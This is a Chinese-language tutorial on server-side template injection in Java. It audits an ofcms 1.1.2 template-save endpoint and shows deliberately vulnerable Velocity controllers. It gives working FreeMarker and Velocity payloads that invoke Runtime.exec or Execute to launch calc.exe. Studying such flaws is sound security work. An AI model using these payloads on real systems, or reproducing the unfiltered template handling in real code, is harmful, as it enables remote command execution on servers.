一、模板引擎
在Java开发当中,为了将前端和后端进行分离,降低项目代码的耦合性,使代码更加易于维护和管理。除去以上的原因,模板引擎还能实现动态和静态数据的分离。
二、主流模板引擎
在Java中,主流的模板引擎有:Freemark,Thymeleaf,velocity等。本文章仅介绍前三种模板引擎。
本文着重介绍是模板注入的原理,因此有关模板的语法部分仅提供参考链接:
什么是 FreeMarker? - FreeMarker 中文官方参考手册
Thymeleaf
The Apache Velocity Project
三、原理
先讲讲原理,对于模板注入漏洞,其原理并不难,就是在用户修改模板,或者上传模板文件时,没有对模板进行正确的处理,在之后调用该模板时,直接就把用户传入的模板中的或者是用户本身的传参中的恶意参数当作了代码进行执行。
四、示例
1、Freemark
这里我选择使用的示例是ofcms-v1.1.2的模板注入漏洞,运行环境为
JDK:1.8
Tomcat:8.5.97
若需要Java8以及tomcat8可点击链接获取
代码审计环境.zip_免费高速下载|百度网盘-分享无限制
提取码:1234
部署好项目后启动,登陆后台进入模板设置下的模板文件功能处
点一下保存抓一下包,获取一下路由,方便定位代码位置
根据路由定位代码位置,位于admin/controller/cms/TemplateController.java内的save方法中
代码解读:
通过调用 getPara
方法从请求中获取参数 res_path
,该参数指示要使用的资源路径。
根据 resPath
的值决定文件存储的路径。如果 resPath
为 "res"
,则使用 SystemUtile.getSiteTemplateResourcePath()
返回的路径;否则,使用 SystemUtile.getSiteTemplatePath()
返回的路径。
从请求中获取 dirs
参数,如果该参数不为空,则将其作为子目录添加到 pathFile
中。
从请求中获取 file_name
参数,表示要保存的文件名。
通过 getRequest().getParameter
获取 file_content
参数,表示文件的内容。由于安全原因,直接使用 getPara
可能会过滤掉某些HTML元素,因此这里直接从请求对象中获取。接着,将HTML实体字符 <
和 >
替换为实际的 <
和 >
字符。
创建一个新的 File
对象,表示要保存的文件,其路径由之前构建的 pathFile
和 fileName
组合而成。
使用 FileUtils.writeString
方法将 fileContent
的内容写入到指定的文件中。这个方法通常来自 Apache Commons IO 库。
解读代码我们可知,从头到尾没有进行任何的参数过滤,因此我们可以传入payload
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
保存后,去触发404页面
成功执行命令
2、velocity
在velocity中,模板注入漏洞有两种形式,一种是evaluate触发,一种是merge触发
一、evaluate触发:
示例代码如下:
package com.example.velocitydemo;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.Velocity;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import java.io.StringWriter;
@Controller
public class VelocityEvaluate {
@GetMapping("/velocityevaluate")
public void velocity(String template) {
Velocity.init();
VelocityContext context = new VelocityContext();
context.put("author", "hada");
StringWriter swOut = new StringWriter();
Velocity.evaluate(context, swOut, "test", template);
}
}
代码解读:
Velocity.init();
:初始化 Velocity 引擎。VelocityContext context = new VelocityContext();
:创建一个 Velocity 上下文对象,用于存储模板中的变量。context.put("author", "hada");
:将变量author
和其值hada
放入上下文中。StringWriter swOut = new StringWriter();
:创建一个StringWriter
对象,用于捕获模板渲染后的输出。Velocity.evaluate(context, swOut, "test", template);
:评估模板,并将结果输出到swOut
中。"test"
是日志标签,template
是要评估的模板字符串。
我们就可以使用这样的payload去攻击:
#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",nu ll).invoke(null,null).exec("calc")
攻击示例解读:
#set($e="e")
这里将变量 $e
设置为字符串 "e"
。
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime", null).invoke(null, null)
$e.getClass()
获取字符串"e"
的类对象,即java.lang.String
。.forName("java.lang.Runtime")
使用Class.forName
方法获取java.lang.Runtime
类的类对象。.getMethod("getRuntime", null)
获取Runtime
类的getRuntime
方法。null
表示该方法没有参数。.invoke(null, null)
调用getRuntime
方法,返回当前的Runtime
实例。null
表示静态方法调用,不需要实例对象。
.exec("calc")
.exec("calc")
调用Runtime
实例的exec
方法,执行calc.exe
命令,打开 Windows 计算器。
二、merge触发
示例代码:
package com.example.velocitydemo;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.Velocity;
import org.apache.velocity.runtime.RuntimeServices;
import org.apache.velocity.runtime.RuntimeSingleton;
import org.apache.velocity.runtime.parser.node.SimpleNode;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import java.io.IOException;
import java.io.StringReader;
import java.io.StringWriter;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.text.ParseException;
@Controller
public class VelocityMerge {
@RequestMapping("/velocitymerge")
@ResponseBody
public String velocity2(@RequestParam(defaultValue = "nth347") String username) throws IOException, ParseException, org.apache.velocity.runtime.parser.ParseException {
String templateString = new String(Files.readAllBytes(Paths.get("D:\\template.vm")) );
templateString = templateString.replace("<USERNAME>", username);
StringReader reader = new StringReader(templateString);
VelocityContext ctx = new VelocityContext(); ctx.put("name", "hada");
ctx.put("phone", "13312341234");
ctx.put("email", "13312341234@123.com");
StringWriter out = new StringWriter();
org.apache.velocity.Template template = new org.apache.velocity.Template();
RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();
SimpleNode node = runtimeServices.parse(reader, String.valueOf(template));
template.setRuntimeServices(runtimeServices);
template.setData(node);
template.initDocument();
template.merge(ctx, out);
return out.toString();
}
}
代码解读:
String templateString = new String(Files.readAllBytes(Paths.get("D:\\template.vm")));
从指定路径读取模板文件内容,并将其转换为字符串。
templateString = templateString.replace("<USERNAME>", username);
替换模板中的 <USERNAME>
占位符为传入的 username
参数。
StringReader reader = new StringReader(templateString);
将模板字符串包装成 StringReader
,以便 Velocity 可以读取。
VelocityContext ctx = new VelocityContext(); ctx.put("name", "hada");
ctx.put("phone", "13312341234");
ctx.put("email", "13312341234@123.com");
创建一个 VelocityContext
对象,并添加一些变量。
StringWriter out = new StringWriter();
捕获输出。
org.apache.velocity.Template template = new org.apache.velocity.Template();
RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();
SimpleNode node = runtimeServices.parse(reader, String.valueOf(template));
template.setRuntimeServices(runtimeServices); template.setData(node);
template.initDocument();
使用 RuntimeServices
解析模板,并设置相关属性。
template.merge(ctx, out);
合并模板和上下文,并将结果输出到 StringWriter
中。
return out.toString();
返回结果。
根据上述代码,我们先假设文件可控,在D盘下创建一个template.vm,并键入如下payload:
访问后即可触发
3、Thymeleaf
模板注入的原理都是相同的,所以关于Thymeleaf这里不做赘述,可自行下载GitHub上的项目进行测试
veracode-research/spring-view-manipulation: When MVC magic turns black